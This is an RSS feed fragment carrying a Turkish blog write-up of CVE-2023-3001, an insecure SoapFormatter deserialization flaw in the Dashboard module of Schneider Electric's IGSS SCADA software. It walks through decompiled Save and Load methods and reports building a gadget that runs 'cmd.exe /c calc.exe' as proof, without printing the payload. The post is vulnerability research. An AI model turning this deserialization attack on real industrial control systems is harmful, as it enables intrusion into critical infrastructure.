&lt;p&gt;Ilk once IGSS&amp;rsquo;nin kendi processine bakiyorum &lt;code&gt;IGSSMaster.exe&lt;/code&gt; dnspy ile biraz baktiktan sonra diger modullerine bakiyorum &lt;code&gt;alarm&lt;/code&gt;,&lt;code&gt;dashboard&lt;/code&gt;,&lt;code&gt;job scheduler&lt;/code&gt;,&lt;code&gt;maintenance&lt;/code&gt; vs&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/igssdash.png&#34; alt=&#34;IGSS&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;dashboardexe&#34;&gt;Dashboard.exe!&lt;/h3&gt;
&lt;p&gt;Bu exeyi biraz inceledigimde IGSS&amp;rsquo;nin &lt;code&gt;.DASH&lt;/code&gt; adinda proje dosyasini editleme, yeniden olusturma, varolan bir dash dosyasini acma gibi ozellikleri var. Burada dikkat ceken yerler save ve load methodlaridir;&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;schneider-electric-remote-code-execution-cve-2023-3001&#34;&gt;Schneider Electric Remote Code Execution (CVE-2023-3001)&lt;/h2&gt;
&lt;p&gt;Schneider Electric&amp;rsquo;in IGSS (Intelligent Graphical Scada System) yazilimi, endustriyel otomasyon ve kontrol sistemleri icin kullanilan bir SCADA (Supervisory Control and Data Acquisition) platformudur.&lt;/p&gt;
&lt;h3 id=&#34;schneider-electric-dashboard&#34;&gt;Schneider Electric Dashboard&lt;/h3&gt;
&lt;p&gt;Ilk once IGSS&amp;rsquo;nin kendi processine bakiyorum &lt;code&gt;IGSSMaster.exe&lt;/code&gt; dnspy ile biraz baktiktan sonra diger modullerine bakiyorum &lt;code&gt;alarm&lt;/code&gt;,&lt;code&gt;dashboard&lt;/code&gt;,&lt;code&gt;job scheduler&lt;/code&gt;,&lt;code&gt;maintenance&lt;/code&gt; vs&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/igssdash.png&#34; alt=&#34;IGSS&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;dashboardexe&#34;&gt;Dashboard.exe!&lt;/h3&gt;
&lt;p&gt;Bu exeyi biraz inceledigimde IGSS&amp;rsquo;nin &lt;code&gt;.DASH&lt;/code&gt; adinda proje dosyasini editleme, yeniden olusturma, varolan bir dash dosyasini acma gibi ozellikleri var. Burada dikkat ceken yerler save ve load methodlaridir;&lt;/p&gt;
&lt;h3 id=&#34;save-methodu&#34;&gt;&lt;code&gt;Save&lt;/code&gt; Methodu&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/save.png&#34; alt=&#34;SAVE&#34;&gt;&lt;/p&gt;
&lt;p&gt;Save methodu neler yapiyor, disardan aldigi name parametresi pathFromName fonksiyonu ile kontrol ediyor, pathFromName fonksiyonu da Path.GetExtension&amp;rsquo;a soruyor Path.GetExtension&amp;rsquo; fonksiyonu mscorlib dllinde System.IO namespace&amp;rsquo;nin bir fonksiyonudur bu fonksiyonda verdigimiz verinin dosya uzantisini cikartiyor ornek olarak &lt;code&gt;abc.txt =&amp;gt; .txt&lt;/code&gt; gibi.
Tekrar pathFromName&amp;rsquo;e geri donelim verdigimiz verinin uzantisini kontrol ediyor verilen degerin uzantisi bossa direk .DASH olmaktadir.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text = &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.pathFromName(name);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; pathFromName(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; extension = Path.GetExtension(name);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (extension == &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt; || extension == &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.Empty)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				name += &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.DASH&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; Path.Combine(DashFiles.getDashTempPath(), name);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;name parametresini pathFromName fonksiyonuna atiyor.&lt;/li&gt;
&lt;li&gt;name parametresi ile verileni &lt;code&gt;File.OpenWrite&lt;/code&gt; yardimi ile aciyor.&lt;/li&gt;
&lt;li&gt;Serialize ediyor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;SoapFormatter, .NET Framework icerisinde yer alan bir serilestirme aracidir. Bu arac, nesneleri SOAP (Simple Object Access Protocol) formatinda serilestirip yani bir dizi byte donusturup depolamak veya ag uzerinden iletmek icin kullanilir. SoapFormatter, genellikle uzaktan prosedur cagri RPC ve web servisleri ile etkilesimde bulunmak icin kullanilir.&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;load-methodu&#34;&gt;&lt;code&gt;Load&lt;/code&gt; Methodu&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/load.png&#34; alt=&#34;LOAD&#34;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;WidgetContainer&lt;/code&gt; nesnesini null olarak tanimliyor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CGetGenFileData&lt;/code&gt; sinifindan bir nesne olusturuluyor &lt;code&gt;m_conf.getGenFileDataSource&lt;/code&gt; methodu, gerekli ozelliklere gore veri kaynagi sagliyor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;genFileDataSource.getGenFile&lt;/code&gt; name parametresinden aldigi .DASH uzantisi eklenerek olusturulan dosya adini temp file yolunu kullanarak dosyayi alir.&lt;/li&gt;
&lt;li&gt;Catch icerigini es geciyorum.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt; parametresini aliyor save methodundaki gibi kontrol vs.&lt;/li&gt;
&lt;li&gt;Eger dosya varsa dosyayi okuyor.&lt;/li&gt;
&lt;li&gt;Deserialize ediyor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bizim icin en onemli madde 7. maddedir, ozet olarak bir dosyayi aliyor kayit ediyor, duzenliyor, aciyor bunlari yaparken serialize ve deserialize islemi gerceklestiriyor.&lt;/p&gt;
&lt;h3 id=&#34;exploit7-bolumu&#34;&gt;Exploit7 Bolumu&lt;/h3&gt;
&lt;p&gt;SoapFormatter ile &lt;code&gt;cmd.exe /c calc.exe&lt;/code&gt; calistiracagimiz gadgeti olusturuyoruz ve sonuc&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://exploit7.tr/resource/calc.png&#34; alt=&#34;CALC&#34;&gt;&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
